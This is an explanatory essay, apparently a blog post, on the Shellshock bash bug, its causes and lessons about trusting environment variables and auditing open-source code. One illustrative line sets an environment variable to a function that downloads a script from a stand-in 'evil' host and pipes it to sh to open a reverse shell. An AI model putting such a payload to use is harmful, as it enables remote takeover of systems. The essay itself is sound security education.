Learning From Shellshock

Why did Shellshock happen? And why did it take 20+ years for someone to notice?

We have a technical answer to the first question–there was a bug in the function-import feature–but I want to look at the surrounding context. There are broader lessons here.

Shellshock Technical Stuff

Once you get a clear look at it, Shellshock is surprisingly simple.

When a Shellshock-vulnerable version of bash starts, it executes any environment variable that looks like a function definition. Tack on some extra code at the end (like ; echo vulnerable) and it’s still close enough to qualify. Valid code outside a function definition runs immediately.

You can actually mimic this on a non-vulnerable shell:

for x in $(env | cut -d= -f1); do
    if [[ ${!x} == '() { '* ]]; then eval "$x${!x}"; fi
done

Combine this with the many programs that assign environment variables based on untrusted input (e.g. HTTP_USER_AGENT) and you have a recipe for disaster.

But Why?

Why would such a simple problem go unnoticed for so long? Let’s speculate.

Environment Variables

Quick – can environment variables be trusted?

Are they code, or are they data?

There isn’t a simple yes/no answer here. It depends on the particular variable.

If an adversary can control the entire environment, you’re hosed. They can change PATH and HOME. They can set BASH_FUNC_echo%% to () { сurl -s example.evil/reverse.sh | sh; } so next time you call echo a reverse shell opens. They can burn down your house and eat your cat.

On the other hand, suppose an adversary can control only a few environment variables, dictated by the application. This is commonly done by webservers to convey request headers to subprocesses. This can be safe to do if everyone agrees on which environment variables are controlled entirely by the system (e.g. HOME, PATH, USER) and which ones can be set by a potential adversary (e.g. HTTP_USER_AGENT and SSH_ORIGINAL_COMMAND).

The problem here is there is no real convention. Prior to the Shellshock patches, bash checked every single environment variable to see if it was an importable function. This itself was a feature; the bug was that you could do something besides import a function.

Aging and Unaudited

Imagine you’re developing bash version 1 circa 1990. You have no idea how big the internet–and bash–will become in the next few decades. Are you worried about HTTP clients controlling environment variables like HTTP_USER_AGENT? Have user-agent strings been invented yet? Has HTTP been invented yet?

It was a different world.

You could be forgiven for assuming environment variables were sterile and controlled by the operating system – and that malicious environment variables meant the system was already compromised.

Or security may not have been a huge priority in the first place. You’re trying to create a free replacement for UNIX, from scratch, on a shoestring budget. Hardening the code can come later.

But then, as bash took off in popularity, the nuances of function import–and related bugs–were somehow overlooked for decades.

This has been claimed (perhaps not unfairly) as a failure of the Many Eyes theory of open source. Others rebut that things are even worse for proprietary software.

Preventing Another One

I’m not talking about bash specifically. This is more about preventing major security bugs in open-source code in general, or finding them before they become too entrenched.

Separate Trusted from Not Trusted

You’ll find this idea in a number of principles – “separate code from data”, “all input is evil”, “don’t use eval”, etc.

In general, for any thing (be it a particular variable, file, input source, etc) you should be able to quickly say how much influence that thing is permitted have in your application or system – and other people in your space should agree with you. It’s hard to tackle security problems if there’s no clear consensus on what’s supposed to be allowed.

Fun little exercise – ask your colleagues this:

In the context of “all input is evil”, do environment variables count as input?

If they say yes, ask about PATH and HOME; if they say no, ask about HTTP_USER_AGENT and SSH_ORIGINAL_COMMAND.

Don’t Take FOSS for Granted

This gets back to Many Eyes, aka Linus’s Law. The idea has merit but it’s not magic. In order for it to actually work, we can’t take open source software for granted. The biggest users of an application need to help ensure it’s secure, for selfish reasons if nothing else.

The heavier you lean on something, the more incentive you have to make sure it won’t break on you.

Wrapping Up

Shellshock isn’t just about a function-import bug. The stage was set by differing assumptions across decades about the role of environment variables, and by insufficient auditing of a particular feature.

It’s also worth pointing out that Shellshock doesn’t care whether or not you actually use function-import. This is true in many other cases: a bug in a feature can hurt you even if you never use the feature.